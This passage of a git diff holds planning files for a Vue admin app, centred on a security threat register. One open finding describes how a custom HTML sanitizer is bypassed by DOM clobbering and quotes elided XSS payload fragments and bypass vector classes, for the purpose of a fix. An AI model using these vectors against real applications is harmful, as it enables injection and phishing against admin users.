| T-10-16 (a), 2026-10-12 | pre-fix `html.ts` (hand-built `clean()` walker) restored | `npm --prefix admin run test:browser` | exit 1: drops clobbered forms, localName, inert document and read-only RichEditorField tests fail |
|
||||
| T-10-16 (b), 2026-10-12 | `sanitizerUsable` returns true unconditionally | `npx --prefix admin vitest run tests/form/RichEditorField.test.ts` (happy-dom) | exit 1: DOMPurify keeps the script under happy-dom |
|
||||
| T-10-16 (c), 2026-10-12 | `uponSanitizeAttribute` hook removed | `npm --prefix admin run test:browser` | exit 1: href on `p`, ftp: and sms: hrefs survive |
|
||||
| T-10-04, 2026-10-12 | `form-action 'self'` dropped from the CSP | `go test ./modules/boardwalk -run 'TestSecurityHeadersOnEveryResponse\|TestPhase101BoardwalkExports' -count=1` | exit 1 (both fail) |
|
||||
| T-10-24, 2026-10-12 | planted RichEditorField display line in another file, template parse elsewhere, foreign origin in the dist JS | `scripts/check-phase10.sh --self-test` | each plant refused for its own rule; self-test exit 0 |
|
||||
| T-10-SC, 2026-10-12 | `dompurify` pin changed to 3.4.17 in a scratch `package.json` | `npm ci --dry-run --offline` against the committed lockfile | exit 1 (lock file's dompurify@3.4.16 does not satisfy 3.4.17) |
|
||||
|
||||
Only one single-layer mutation left its named test green. Removing just the parse-time skip for T-10-10 did not fail `TestPhase10CollectionOwnerReadOnly`, because `assignBelongsTo` independently refuses protected keys. The review therefore names `TestPhase10Coverage`, which catches that layer, as well as the fonoteka test, which catches the full removal.
|
||||
|
||||
## Residual risk
|
||||
|
||||
- Visual fidelity and the full browser flow are manual checks, not security controls (10-VALIDATION.md, manual-only rows).
|
||||
- Stored richeditor HTML is still not sanitized on read server-side (seaglass gates every save; legacy or imported values are not rewritten). The read-only display relies on DOMPurify plus the CSP.
|
||||
- dompurify 3.4.17 (published 2026-10-12, no advisory) is pending a 7-day cooldown; bump after 2026-10-19.
|
||||
- `check-phase10.sh --all` stays red until `../fonoteka.go` adds the Phase 17-01 reorder and singleton routes to `phase09AdminRoutes` (T-10-24).
|
||||
- The fonoteka.go `parity` package still fails `TestMigrateSeedsCanonicalGenres` and `TestSchemaMatchesPHPSnapshot`. Both predate Phase 10, are logged in deferred-items.md, and are the only failures the gate allows.
|
||||
|
||||
149
.planning/phases/10-admin-vue-spa/10-SECURITY.md
Normal file
149
.planning/phases/10-admin-vue-spa/10-SECURITY.md
Normal file
@@ -0,0 +1,149 @@
|
||||
---
|
||||
phase: "10"
|
||||
slug: "admin-vue-spa"
|
||||
status: draft
|
||||
# threats_open = count of OPEN threats at or above workflow.security_block_on severity (the blocking gate)
|
||||
threats_open: 2
|
||||
asvs_level: 1
|
||||
created: "2026-10-12"
|
||||
---
|
||||
|
||||
# Phase 10 — Security
|
||||
|
||||
> Per-phase security contract: threat register, accepted risks, and audit trail.
|
||||
|
||||
The full evidence of the first review (tests, gate stages, removal checks) is in `10-SECURITY-REVIEW.md` (2026-09-27). This file records the threat state on master as of 2026-10-12, after Phases 12.1–17 changed the admin surface.
|
||||
|
||||
---
|
||||
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description | Data Crossing |
|
||||
|----------|-------------|---------------|
|
||||
| Browser → `{backend.uri}/api/v1` | Untrusted requests carrying the admin cookie or a Bearer token and user-controlled headers | Session credentials, record writes |
|
||||
| Browser → `{backend.uri}/...` static | Untrusted paths resolved against the embedded dist tree | Request paths |
|
||||
| Plugin routes → admin prefix | Other compiled plugins could register paths that shadow the admin surface | Route ownership |
|
||||
| npm registry → admin/ build | Third-party packages become code in the committed dist | Build-time code |
|
||||
| SPA → options/filters endpoints | Untrusted search, paging and field/scope names select related rows | Related record labels |
|
||||
| SPA → record save | Untrusted relation ids and keys become foreign keys and pivot rows | Foreign keys, pivot rows |
|
||||
| Anonymous browser → /lang | Unauthenticated callers read the string bundle | Public UI strings |
|
||||
| Plugin YAML/override FS → boot | Plugin-supplied copy and toolbar declarations shape every schema | Configuration |
|
||||
| Admin API responses → DOM | Plugin labels, messages and record values (including stored HTML) render in the admin origin | Untrusted markup/text |
|
||||
| URL query → list requests | User-editable query parameters become list filters and sorting | Search terms |
|
||||
| Winter redirect strings → router | Plugin YAML strings choose navigation targets | URLs |
|
||||
| Browser storage | Anything persisted survives the session on a shared machine | Sidebar flag, list queries |
|
||||
| Test and gate results → phase acceptance | Gate completeness decides whether the admin surface counts as done | Acceptance evidence |
|
||||
|
||||
---
|
||||
|
||||
## Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation | Status |
|
||||
|-----------|----------|-----------|----------|-------------|------------|--------|
|
||||
| T-10-01 | Information Disclosure | cabana login/refresh cookie transport | high | mitigate | `cabana/auth.go` `cookieLoginData` (token only in HttpOnly cookie); `TestPhase10CookieAuth` | closed |
|
||||
| T-10-02 | Tampering | cookie-authenticated unsafe admin routes (CSRF) | high | mitigate | `cabana/csrf.go` `requireAjax`, SameSite=Strict; `TestPhase10CSRF` | closed |
|
||||
| T-10-03 | Information Disclosure | boardwalk static serving | medium | mitigate | `boardwalk/boardwalk.go` embedded fs + `path.Clean`; `TestTraversalIsCleaned` | closed |
|
||||
| T-10-04 | Tampering | admin HTML responses (clickjacking, sniffing, indexing) | medium | mitigate | `boardwalk/boardwalk.go:171` security headers, CSP `frame-ancestors 'none'`, X-Robots-Tag | closed |
|
||||
| T-10-05 | Spoofing | admin session cookie attributes and logout | high | mitigate | `cabana/auth.go` `sessionCookie`, `adminCookieSecure` refuses opt-out in production, `bouncer.RefreshAudienceFor` | closed |
|
||||
| T-10-06 | Elevation of Privilege | prefix and controller ID collisions | medium | mitigate | `cabana` `checkReservedSegments`; `surf/router.go:581` `checkAdminPrefix` | closed |
|
||||
| T-10-07 | Denial of Service | concurrent cookie refresh from two tabs | low | mitigate | `admin/src/api/client.ts` single-flight refresh; `blacklist_grace` | closed |
|
||||
| T-10-08 | Tampering | committed dist and generated types drift | medium | mitigate | `scripts/check-admin-dist.sh`, `scripts/check-admin-openapi.sh --check` | closed |
|
||||
| T-10-09 | Elevation of Privilege | cabana relation save (IDOR via relation ids) | high | mitigate | `cabana/relation_field.go` `checkRelationScope`; `TestPhase10RelationForgedID` | closed |
|
||||
| T-10-10 | Tampering | belongs-to mapping of protected foreign keys | high | mitigate | `assignBelongsTo` / read-only protected FK. Since 12.1-02 a field may opt in via `WritableForeignKey`; the default stays read-only | closed |
|
||||
| T-10-11 | Information Disclosure | fields/{field}/options enumeration | medium | mitigate | `protect()` before SQL, per_page 1–100, 404 for non-relation/read-only | closed |
|
||||
| T-10-12 | Information Disclosure | public /lang bundle | low | mitigate | `cabana/lang.go` serves only `backend::lang.` | closed |
|
||||
| T-10-13 | Tampering | messages and toolbar YAML | low | mitigate | Strict decoding, unknown-key rejection | closed |
|
||||
| T-10-14 | Tampering | OpenAPI document versus handler output | medium | mitigate | `TestPhase10OpenAPIConformance`, `check-admin-openapi.sh --check` | closed |
|
||||
| T-10-15 | Elevation of Privilege | filters/{scope}/options | medium | mitigate | `protect()` + scope allow-list; `TestPhase10FilterOptions` | closed |
|
||||
| T-10-16 | Tampering | SPA rendering of plugin labels, messages and record values (XSS) | high | mitigate | Planned: no raw-HTML sink in admin/src. Phase 17-02 added `v-html="display"` (`RichEditorField.vue:305`) fed by `displayHtml` (`richeditor/html.ts`), whose `clean()` can be bypassed by DOM clobbering in Chromium (see audit 2026-10-12) | open |
|
||||
| T-10-17 | Tampering | login redirect parameter (open redirect) | medium | mitigate | `safeRedirect` (exactly one leading slash) | closed |
|
||||
| T-10-18 | Elevation of Privilege | client-side hiding of actions and fields | low | accept | Server enforces permissions; see Accepted Risks | closed |
|
||||
| T-10-19 | Information Disclosure | list state in the URL | low | accept | Admin-only, Referrer-Policy same-origin; see Accepted Risks | closed |
|
||||
| T-10-20 | Tampering | Winter redirect and recordUrl strings | low | mitigate | `mapWinterUrl` maps to current-controller routes only | closed |
|
||||
| T-10-21 | Elevation of Privilege | relation link of candidates outside scope | medium | transfer | Phase 9 server contract (RelationExtendManageQuery, ExcludedRelatedIDs) | closed |
|
||||
| T-10-22 | Information Disclosure | localStorage | low | mitigate | `useSidebar.ts` flag only; `listState.ts` per-admin list queries added under T-16.1-03 and allow-listed in hygiene | closed |
|
||||
| T-10-23 | Spoofing | logout on a shared browser | medium | mitigate | `useAuth.logout` POSTs `/auth/logout` and clears state even on failure | closed |
|
||||
| T-10-24 | Repudiation | Phase 10 acceptance evidence | high | mitigate | `scripts/check-phase10.sh`. On 2026-10-12 `--hygiene` and `--self-test` exit 1 (self-test rejects the clean scratch copy), so `--all` cannot pass and the 2026-09-27 review cannot be reproduced | open |
|
||||
| T-10-25 | Tampering | framework/app boundary and hand-maintained API types | low | mitigate | `--hygiene` boundary rules pass; the stage is red only on drift (literal origin strings in dist, reorder modules tested via the router but not imported by path, and the T-10-16 sink) | open — below high threshold (non-blocking) |
|
||||
| T-10-SC | Tampering | npm/Go dependencies | high | mitigate | Exact pins + committed lockfile + `npm ci`. TipTap (`@tiptap/*` 3.31.4) was added later in 17-02 under its own plan | closed |
|
||||
|
||||
*Status: open · closed · open — below high threshold (non-blocking)*
|
||||
*Severity: critical > high > medium > low — only open threats at or above workflow.security_block_on count toward threats_open*
|
||||
*Disposition: mitigate (implementation required) · accept (documented risk) · transfer (third-party)*
|
||||
|
||||
---
|
||||
|
||||
## Open Threat Details (audit 2026-10-12)
|
||||
|
||||
### T-10-16 — sanitizer bypass by DOM clobbering
|
||||
|
||||
- **Sink:** `admin/src/components/form/fields/RichEditorField.vue:305` `v-html="display"`, `display = displayHtml(stored)` in read-only and preview mode (`PreviewField.vue` forces `readOnly`).
|
||||
- **Defect:** `clean()` (`admin/src/components/form/richeditor/html.ts:60-88`) reads `node.nodeType`, `element.localName`, `.childNodes` and `.attributes` and calls `.remove()`/`.replaceWith()` directly on untrusted nodes. A `<form>` with a control named `nodeType` overrides the property, the form is skipped and its subtree is kept unchanged.
|
||||
- **Reproduced:** headless Chromium (scratch probe) returns `<form><input name="nodeType"><img src=x onerror=…></form>` as-is, plus `<a href="javascript:…">`, `<iframe>`, `<meta http-equiv=refresh>`, `<style>` and an off-origin `<form action method=post>` with a password input. The same works with `<img name=nodeType>`, `<button name=nodeType>` and nested in `<div>`. `<input name="localName">` throws a TypeError and breaks the read-only view. `holder.append(fragment)` (html.ts:102) adopts nodes into the live document, so image loads start inside `displayHtml`.
|
||||
- **What limits it:** the admin CSP `script-src 'self'` (`boardwalk/boardwalk.go:32`) blocks inline handlers and `javascript:` URLs. It has no `form-action`, `frame-src` or `default-src`, so phishing forms, iframe overlays, meta-refresh redirects and CSS redress still work. The server sanitizer (seaglass) strips these on admin save, but stored values are not sanitized on read (17-02 deviation 1), and legacy or imported values are exactly the case this check exists for.
|
||||
- **Neutralised (36 vectors):** svg/math namespace confusion, noscript/xmp/noembed/noframes/plaintext/textarea/title, comment/CDATA, table foster-parenting, entity/whitespace/NUL/U+2028-obfuscated `javascript:`, `data:`, `vbscript:`, event handlers, style/id/name attributes.
|
||||
- **Test gap:** `admin/tests/form/RichEditorField.test.ts:154-168` fails if `displayHtml` is bypassed outright, but happy-dom does not implement form named properties, so no current test can catch the clobbering vector.
|
||||
- **Fix:**
|
||||
1. Make `clean()` safe against clobbering. Either:
|
||||
- switch to DOMPurify (`ALLOWED_TAGS` = `EDITOR_TAGS`, `ALLOWED_ATTR` = `['href']`, a hook calling `isAllowedLink`). This needs a decision note and the dependency checkpoint; or
|
||||
- remove `HTMLFormElement` nodes first and read every property through `Node.prototype`/`Element.prototype` getters, never calling methods on the untrusted node.
|
||||
2. Add a regression test with the clobbering vectors that runs in a real browser engine.
|
||||
3. Optional: add `form-action 'self'; frame-src 'none'` to the admin CSP.
|
||||
4. Re-check T-17-10, which shares this sanitizer.
|
||||
|
||||
### T-10-24 — Phase 10 gate red since Phase 17
|
||||
|
||||
- **`scripts/check-phase10.sh --hygiene`:** exit 1. It reports:
|
||||
- raw-HTML hits at `RichEditorField.vue:305`, `richeditor/html.ts:103` and `richeditor/lossy.ts:33`;
|
||||
- dist JS naming `https://admin.invalid` and `https://prosemirror.net`;
|
||||
- `components/reorder/context.ts`, `ReorderBranch.vue` and `views/ReorderView.vue` as imported by no test.
|
||||
- **`--self-test`:** exit 1, "self-test hygiene rejected the clean scratch copy". It stops before any detector plant runs, and `--all` runs it first.
|
||||
- **Cause:** Phase 17 (cb2987c, 872fd65) added the sink, the TipTap literals and the reorder views. `check-phase17.sh` does not run `check-phase10.sh`. Earlier phases did reconcile with this gate (MarkdownField, `files.ts` XHR, `listState.ts`).
|
||||
- **Fix:**
|
||||
1. Fix T-10-16.
|
||||
2. Add line-exact, reviewed exceptions naming T-17-10 for the three raw-HTML lines.
|
||||
3. Clear the T-10-25 drift.
|
||||
4. Re-run `--self-test` and `--all` to green and refresh `10-SECURITY-REVIEW.md`.
|
||||
5. Have later phase gates, or a standing check, run `check-phase10.sh --hygiene`.
|
||||
|
||||
### T-10-25 — hygiene drift (non-blocking)
|
||||
|
||||
- **Foreign origins:** both are literal strings with no network load. `https://prosemirror.net` is in a ProseMirror error message. `https://admin.invalid/` is the `new URL` base in `isAllowedLink` (html.ts:32).
|
||||
- **Reorder modules:** they are exercised by `admin/tests/views/ReorderView.test.ts` through the router (11 tests pass), but no test imports them by path.
|
||||
- **Fix:** allow-list the two strings in the dist-origin rule (or use `document.baseURI` as the parse base), and add direct path imports of the three reorder modules to a test.
|
||||
|
||||
---
|
||||
|
||||
## Accepted Risks Log
|
||||
|
||||
| Risk ID | Threat Ref | Rationale | Accepted By | Date |
|
||||
|---------|------------|-----------|-------------|------|
|
||||
| AR-10-01 | T-10-18 | UI hiding is cosmetic; the server enforces permissions, toolbar actions, writable fields and relation scope (`TestPhase10AssembledAcceptance`, `TestPhase09PermissionMatrix`) | Plan 10-03 | 2026-09-27 |
|
||||
| AR-10-02 | T-10-19 | Admin-only, same-origin, Referrer-Policy same-origin and noindex; search terms are not secrets and stay in browser history | Plan 10-03 | 2026-09-27 |
|
||||
|
||||
---
|
||||
|
||||
## Security Audit Trail
|
||||
|
||||
| Audit Date | Threats Total | Closed | Open | Run By |
|
||||
|------------|---------------|--------|------|--------|
|
||||
| 2026-09-27 | 24 | 24 | 0 | Phase 10 security review (`10-SECURITY-REVIEW.md`) |
|
||||
| 2026-10-12 | 24 | 21 | 3 (2 blocking: T-10-16, T-10-24; 1 below threshold: T-10-25) | /msd-secure-phase 10: orchestrator L1 grep + msd-security-auditor (Chromium probe) |
|
||||
|
||||
## Security Audit 2026-10-12
|
||||
| Metric | Count |
|
||||
|--------|-------|
|
||||
| Threats found | 24 |
|
||||
| Closed | 21 |
|
||||
| Open | 3 (2 blocking) |
|
||||
|
||||
---
|
||||
|
||||
## Sign-Off
|
||||
|
||||
- [x] All threats have a disposition (mitigate / accept / transfer)
|
||||
- [x] Accepted risks documented in Accepted Risks Log
|
||||
- [ ] `threats_open: 0` confirmed
|
||||
- [ ] `status: verified` set in frontmatter
|
||||
|
||||
**Approval:** pending — blocked on T-10-16 and T-10-24
|
||||
@@ -1,9 +1,9 @@
|
||||
---
|
||||
status: complete
|
||||
status: testing
|
||||
phase: 10-admin-vue-spa
|
||||
source: [10-VERIFICATION.md]
|
||||
started: 2026-09-27T16:44:38Z
|
||||
updated: 2026-09-27T18:34:33Z
|
||||
updated: 2026-10-11T15:12:56.219Z
|
||||
---
|
||||
|
||||
## Current Test
|
||||
@@ -41,12 +41,32 @@ result: pass
|
||||
expected: Accept or reject the verifier's "not violated" verdicts.
|
||||
result: pass
|
||||
|
||||
### 8. Re-walk the Phase 10 admin flows in a real browser on the current build: run the fonoteka binary, open /plytadmin as a superuser and as a genres-only admin, then use the list and form of each of the five controllers (search, sort, filter, paging, save, 422 field errors), link and unlink a Collection editor, open Ustawienia, and glance at light and dark mode.
|
||||
expected: Everything still behaves as approved in 10-UAT.md tests 2 to 5. The limited admin sees only fonoteka > Genres. Lists and forms render. The editor round trip works. The Albums form's later widgets, partials and field types do not break the Phase 10 form; list state persisted in the URL and storage does not confuse paging or filtering.
|
||||
result: [pending]
|
||||
|
||||
### 9. Publish the sibling-repo test fixes the --go pass depends on: push sm-user-plugin 569768e, then commit the plugins/golem15/user pointer bump (cf5c6b9 -> 569768e) in fonoteka.go as a separate commit, and push fonoteka.go (03dad50, 7db5ef8 and the bump) when you choose.
|
||||
expected: A clean checkout of fonoteka.go at its committed pointer passes check-phase10.sh --go, as the working tree does now.
|
||||
result: [pending]
|
||||
|
||||
### 10. Carried: decide CR-01 (refresh ignores tokens_valid_after / is_activated)
|
||||
expected: Fix now or accept with override
|
||||
result: [pending]
|
||||
|
||||
### 11. Carried: Secure cookie on http://localhost (assumption A3)
|
||||
expected: Chrome and Firefox store summer_admin with default cookie_secure
|
||||
result: [pending]
|
||||
|
||||
### 12. Carried: review the 17 judgment-tier prohibitions
|
||||
expected: Accept or reject the verifier's non-authoritative verdicts
|
||||
result: [pending]
|
||||
|
||||
## Summary
|
||||
|
||||
total: 7
|
||||
total: 12
|
||||
passed: 7
|
||||
issues: 0
|
||||
pending: 0
|
||||
pending: 5
|
||||
skipped: 0
|
||||
blocked: 0
|
||||
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
---
|
||||
phase: 10-admin-vue-spa
|
||||
verified: 2026-10-05T20:22:38Z
|
||||
verified: 2026-10-11T15:11:15Z
|
||||
status: human_needed
|
||||
score: 4/4 roadmap success criteria verified by automated evidence (plan truths 46/46; 1 browser re-check of changed views pending)
|
||||
score: "4/4 roadmap success criteria hold; plan truths 46/46 (the --go gap is closed: check-phase10.sh --go exit 0 in the verifier's own run)"
|
||||
covered_files:
|
||||
- ".gitignore"
|
||||
- ".planning/phases/10-admin-vue-spa/10-01-PLAN.md"
|
||||
@@ -22,6 +22,7 @@ covered_files:
|
||||
- "admin/package.json"
|
||||
- "admin/src/App.vue"
|
||||
- "admin/src/api/client.ts"
|
||||
- "admin/src/api/files.ts"
|
||||
- "admin/src/api/schema.d.ts"
|
||||
- "admin/src/api/types.ts"
|
||||
- "admin/src/app/controllerRoutes.ts"
|
||||
@@ -32,6 +33,8 @@ covered_files:
|
||||
- "admin/src/app/runtime.ts"
|
||||
- "admin/src/app/theme.ts"
|
||||
- "admin/src/app/winterUrl.ts"
|
||||
- "admin/src/components/account/ApiTokenCreateDialog.vue"
|
||||
- "admin/src/components/account/ApiTokensPanel.vue"
|
||||
- "admin/src/components/form/FieldRenderer.vue"
|
||||
- "admin/src/components/form/FormErrorBanner.vue"
|
||||
- "admin/src/components/form/FormField.vue"
|
||||
@@ -40,6 +43,8 @@ covered_files:
|
||||
- "admin/src/components/form/control.ts"
|
||||
- "admin/src/components/form/fields/CheckboxField.vue"
|
||||
- "admin/src/components/form/fields/DropdownField.vue"
|
||||
- "admin/src/components/form/fields/FileCaptionModal.vue"
|
||||
- "admin/src/components/form/fields/MLField.vue"
|
||||
- "admin/src/components/form/fields/NumberField.vue"
|
||||
- "admin/src/components/form/fields/RelationField.vue"
|
||||
- "admin/src/components/form/fields/SwitchField.vue"
|
||||
@@ -47,6 +52,7 @@ covered_files:
|
||||
- "admin/src/components/form/fields/TextareaField.vue"
|
||||
- "admin/src/components/form/fields/UnsupportedField.vue"
|
||||
- "admin/src/components/form/formState.ts"
|
||||
- "admin/src/components/form/mlLocale.ts"
|
||||
- "admin/src/components/form/registry.ts"
|
||||
- "admin/src/components/list/CellValue.vue"
|
||||
- "admin/src/components/list/DataTable.vue"
|
||||
@@ -79,6 +85,8 @@ covered_files:
|
||||
- "admin/src/views/NotFoundView.vue"
|
||||
- "admin/src/views/SettingsFormView.vue"
|
||||
- "admin/src/views/SettingsIndexView.vue"
|
||||
- "admin/tests/account/ApiTokenCreateDialog.test.ts"
|
||||
- "admin/tests/account/ApiTokensPanel.test.ts"
|
||||
- "admin/tests/app/client.test.ts"
|
||||
- "admin/tests/app/controllerRoutes.test.ts"
|
||||
- "admin/tests/app/i18n.test.ts"
|
||||
@@ -100,14 +108,17 @@ covered_files:
|
||||
- "admin/tests/fixtures/widgets.relation-candidates.json"
|
||||
- "admin/tests/fixtures/widgets.relation-linked.json"
|
||||
- "admin/tests/fixtures/widgets.relation-schema.json"
|
||||
- "admin/tests/form/FileCaptionModal.test.ts"
|
||||
- "admin/tests/form/FormField.test.ts"
|
||||
- "admin/tests/form/FormGrid.test.ts"
|
||||
- "admin/tests/form/FormTabs.test.ts"
|
||||
- "admin/tests/form/FormView.test.ts"
|
||||
- "admin/tests/form/MLField.test.ts"
|
||||
- "admin/tests/form/RelationField.test.ts"
|
||||
- "admin/tests/form/Settings.test.ts"
|
||||
- "admin/tests/form/fields.test.ts"
|
||||
- "admin/tests/form/formState.test.ts"
|
||||
- "admin/tests/form/mlLocale.test.ts"
|
||||
- "admin/tests/form/registry.test.ts"
|
||||
- "admin/tests/helpers.ts"
|
||||
- "admin/tests/list/CellValue.test.ts"
|
||||
@@ -151,8 +162,8 @@ covered_files:
|
||||
- "internal/tools/swagger2openapi/main_test.go"
|
||||
- "modules/boardwalk/boardwalk.go"
|
||||
- "modules/boardwalk/boardwalk_test.go"
|
||||
- "modules/boardwalk/dist/assets/index-CqzF_Nki.css"
|
||||
- "modules/boardwalk/dist/assets/index-z_LzMU8D.js"
|
||||
- "modules/boardwalk/dist/assets/index-BeX-076N.css"
|
||||
- "modules/boardwalk/dist/assets/index-CXQZEJp2.js"
|
||||
- "modules/boardwalk/dist/index.html"
|
||||
- "modules/bouncer/cookie_guard_test.go"
|
||||
- "modules/bouncer/jwt.go"
|
||||
@@ -213,8 +224,7 @@ covered_files:
|
||||
- "scripts/check-admin-dist.sh"
|
||||
- "scripts/check-admin-openapi.sh"
|
||||
- "scripts/check-phase10.sh"
|
||||
covered_digest: "v2:sha256:778f7d89834605c7799f088401e3b1ef5edb4409f6899f322f67d165fa9e4847"
|
||||
covered_files_note: "Fingerprint refreshed 2026-10-05 at summercms.go HEAD e18885f. Content-hashed SPA bundles now modules/boardwalk/dist/assets/index-CqzF_Nki.css and index-z_LzMU8D.js. Later phases edited already-covered modules/ files (same digest-drift as Phase 9 Layer 2). Paths remain modules/. Status stays human_needed — this only clears the stale overlay so execute-phase is not re-invoked."
|
||||
covered_digest: "v2:sha256:dce85ba35408764f2ce0d7cc0f1297800a2a70d4c263b033a556c19bd3c6e604"
|
||||
behavior_unverified: 0
|
||||
overrides_applied: 0
|
||||
mvp_mode_note: "ROADMAP marks Phase 10 mode: mvp, but the goal is not a User Story. Following the Phase 1/3/5/8 precedent, the four ROADMAP success criteria are the contract and User Flow Coverage is derived from them."
|
||||
@@ -223,63 +233,94 @@ decision_coverage:
|
||||
total: 28
|
||||
not_honored: []
|
||||
re_verification:
|
||||
previous_status: passed
|
||||
previous_score: "4/4 roadmap success criteria verified (plan truths 46/46 verified; A3 closed by human UAT)"
|
||||
previous_head: c7487f6
|
||||
reason: "The 2026-10-01T21:29Z report went stale because Vite rebuilt the two content-hashed SPA bundles (index-CfeX_snf.css / index-J-FCndLr.js → index-CqzF_Nki.css / index-z_LzMU8D.js) and later phases edited already-covered modules/ files. Paths were already under modules/. covered_digest recomputed at HEAD e18885f; status stays human_needed for the pending browser re-walk."
|
||||
previous_status: gaps_found
|
||||
previous_score: "4/4 roadmap success criteria hold; plan truths 45/46 (1 failed: the phase acceptance command check-phase10.sh --all is red at its --go stage, for causes outside Phase 10 code)"
|
||||
previous_head: fc7cfaf
|
||||
head: 77ca4b0
|
||||
reason: "Narrow re-verification of the one --go gap. summercms.go 77ca4b0 adds -skip '^TestBootstrapEndToEnd$' to the framework go test run. In the sibling repos, sm-user-plugin 569768e (local commit, not pushed, fonoteka.go pointer not bumped) and fonoteka.go 03dad50 and 7db5ef8 (local commits, fonoteka.go is 13 ahead of origin) bring the migration-history and parity tests up to date. No file under admin/src, modules/ or modules/boardwalk/dist changed since fc7cfaf."
|
||||
gaps_closed:
|
||||
- "Phase 10 review WR-01 (logout behind the guard did not expire a rejected cookie): logout is now mounted outside the guard and always clears the cookie (299d220). TestAdminLogoutRevokesExpiredRefreshableToken: PASS."
|
||||
- "scripts/check-phase10.sh --all, the phase acceptance command, passes: --go exit 0 (verifier run, 4m50s, 'phase10 go passed'); the other stages were run by the orchestrator this session and all exit 0"
|
||||
gaps_remaining: []
|
||||
regressions: []
|
||||
human_verification:
|
||||
- test: "Re-walk the Phase 10 admin flows in a real browser on the current build: run the fonoteka binary, open /plytadmin as a superuser and as a genres-only admin, then use the list and form of each of the five controllers (search, sort, filter, paging, save, 422 field errors), link and unlink a Collection editor, open Ustawienia, and glance at light and dark mode."
|
||||
expected: "Everything still behaves as approved in 10-UAT.md tests 2 to 5. The limited admin sees only fonoteka > Genres. Lists and forms render. The editor round trip works. The Albums form now also shows the Phase 10.1 widgets and partials, and they do not break the Phase 10 form."
|
||||
why_human: "10-UAT.md was approved on 2026-09-27 against c7487f6. Since then Phase 10.1 changed ListView.vue, FormView.vue, ListToolbar.vue, FormField.vue, registry.ts, router.ts and main.css, and fonoteka's Albums controller now registers plugin widgets and partials. The Phase 9 review fixes changed server-side navigation (WR-01, WR-02, WR-17). Vitest and the Postgres acceptance test pass, but D-23 keeps the real browser out of the automated suite, and the browser checks for these views (10.1-UAT.md tests 1 and 4) are still pending. Closing 10.1-UAT tests 1 and 4 with Genres, Collections and Settings included also closes this item."
|
||||
expected: "Everything still behaves as approved in 10-UAT.md tests 2 to 5. The limited admin sees only fonoteka > Genres. Lists and forms render. The editor round trip works. The Albums form's later widgets, partials and field types do not break the Phase 10 form; list state persisted in the URL and storage does not confuse paging or filtering."
|
||||
why_human: "D-23 keeps the real browser out of the automated suite. Vitest (83 files, 1279 tests) and the Postgres acceptance test cover behavior, but not rendering in a browser."
|
||||
retest_reason: "10-UAT.md tests 2 to 5 passed on 2026-09-27 against c7487f6. Since then phases 10.1, 12.2, 14.2.1, 16.1, 16.2 and 16.3 changed ListView.vue, FormView.vue, FormField.vue, formState.ts, registry.ts, AppShell.vue, PluginRail.vue, UserMenu.vue, useAuth.ts and main.css, so those rows no longer cover the current code. 10.1-UAT.md is status: testing with all six rows pending; its tests 1 and 4 (Albums, Genres, Settings in a real browser) overlap this walk but do not cover it yet."
|
||||
- test: "Publish the sibling-repo test fixes the --go pass depends on: push sm-user-plugin 569768e, then commit the plugins/golem15/user pointer bump (cf5c6b9 -> 569768e) in fonoteka.go as a separate commit, and push fonoteka.go (03dad50, 7db5ef8 and the bump) when you choose."
|
||||
expected: "A clean checkout of fonoteka.go at its committed pointer passes check-phase10.sh --go, as the working tree does now."
|
||||
why_human: "Pushing needs the user's go-ahead (CLAUDE.md). The --go pass was proven against the go.work working tree. At fonoteka.go's committed pointer cf5c6b9, sm-user-plugin TestCreateOrganisationsMigration still fails as before, because the fix exists only in the local commit 569768e."
|
||||
- test: "Carried: decide CR-01 (refresh ignores tokens_valid_after / is_activated)"
|
||||
expected: "Fix now or accept with override"
|
||||
why_human: "Security-policy decision"
|
||||
resolution: "Fixed (be4a923, a13a121). TestAdminRefreshRevocation re-run this session: PASS. Approved in 10-UAT.md test 1. Still applies, still resolved."
|
||||
resolution: "Fixed (be4a923, a13a121), approved in 10-UAT.md test 1. No auth or refresh code changed since."
|
||||
- test: "Carried: Secure cookie on http://localhost (assumption A3)"
|
||||
expected: "Chrome and Firefox store summer_admin with default cookie_secure"
|
||||
why_human: "Browser cookie policy, non-inferable"
|
||||
resolution: "Approved in 10-UAT.md test 6. The cookie attributes (cabana auth.go) are unchanged in substance since then. Still resolved."
|
||||
resolution: "Approved in 10-UAT.md test 6. No auth.go or cookie change since."
|
||||
- test: "Carried: review the 17 judgment-tier prohibitions"
|
||||
expected: "Accept or reject the verifier's non-authoritative verdicts"
|
||||
why_human: "Judgment-tier prohibitions need human resolution"
|
||||
resolution: "Accepted in 10-UAT.md test 7. Re-checked against HEAD in this report and all are still not violated, so the acceptance carries over."
|
||||
resolution: "Accepted in 10-UAT.md test 7. The --hygiene stage, which enforces the mechanical ones, is still green."
|
||||
human_verified:
|
||||
- item: "CR-01 decision"
|
||||
uat: "10-UAT.md test 1 (pass)"
|
||||
- item: "A3 Secure cookie on http://localhost"
|
||||
uat: "10-UAT.md test 6 (pass)"
|
||||
- item: "17 judgment-tier prohibitions"
|
||||
uat: "10-UAT.md test 7 (pass)"
|
||||
---
|
||||
|
||||
# Phase 10: Admin Vue SPA Verification Report
|
||||
|
||||
**Phase Goal:** A minimal Vue 3 + TypeScript admin SPA renders login, permission-gated navigation, lists, forms and the relation manager for Albums, Artists, Collections, Genres and Styles, typed from the generated OpenAPI document.
|
||||
**Verified:** 2026-10-01T21:29:59Z (summercms.go HEAD f2f2279, fonoteka.go HEAD e62f4fc)
|
||||
**Verified:** 2026-10-11T15:11:15Z (summercms.go HEAD 77ca4b0; fonoteka.go HEAD 7db5ef8 with plugins/golem15/user checked out at 569768e, which is not the recorded pointer cf5c6b9)
|
||||
**Status:** human_needed
|
||||
**Re-verification:** Yes. The previous report (c7487f6, passed) went stale. Phase 10.2 moved its 59 framework paths under `modules/`, and later phases changed covered code.
|
||||
**Re-verification:** Yes, narrow. It re-checks only the one gap left by the fc7cfaf report (`check-phase10.sh --all` red at `--go`) and carries the other truths forward, because no Phase 10 code changed.
|
||||
|
||||
**MVP note:** ROADMAP marks this phase `mode: mvp`, but the goal is not a User Story. Following the precedent of Phases 1, 3, 5 and 8, the four ROADMAP success criteria are the contract and plan `must_haves` are supporting evidence.
|
||||
## What changed since fc7cfaf
|
||||
|
||||
## What changed since the previous verification
|
||||
|
||||
| Source | Change to covered code | Effect on this report |
|
||||
|---|---|---|
|
||||
